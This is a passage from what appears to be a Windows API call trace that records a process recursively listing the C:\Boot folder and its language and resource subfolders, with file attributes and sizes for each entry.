ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0192.081] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0192.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.081] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751150 [0192.083] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.083] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.083] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.083] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.083] FindClose (in: hFindFile=0x751150 | out: hFindFile=0x751150) returned 1 [0192.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.083] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0192.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.083] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751510 [0192.084] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.084] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.084] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.084] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.084] FindClose (in: hFindFile=0x751510 | out: hFindFile=0x751510) returned 1 [0192.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.084] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0192.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.084] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751150 [0192.085] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.085] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.085] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.085] FindNextFileW (in: hFindFile=0x751150, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.085] FindClose (in: hFindFile=0x751150 | out: hFindFile=0x751150) returned 1 [0192.085] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.085] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0192.085] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.085] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751250 [0192.086] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.086] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.086] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.086] FindNextFileW (in: hFindFile=0x751250, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.086] FindClose (in: hFindFile=0x751250 | out: hFindFile=0x751250) returned 1 [0192.086] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.086] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0192.086] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.086] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751010 [0192.087] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.087] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.087] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.087] FindNextFileW (in: hFindFile=0x751010, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.087] FindClose (in: hFindFile=0x751010 | out: hFindFile=0x751010) returned 1 [0192.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.087] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0192.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.087] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750dd0 [0192.088] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.088] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.088] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.088] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.088] FindClose (in: hFindFile=0x750dd0 | out: hFindFile=0x750dd0) returned 1 [0192.088] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.088] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0192.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.088] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751450 [0192.089] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.090] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0192.090] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0192.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e80060 [0192.090] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2d0f584 | out: lpFindFileData=0x2d0f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x751190 [0192.091] FindNextFileW (in: hFindFile=0x751190, lpFindFileData=0x2d0f584 | out: lpFindFileData=0x2d0f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 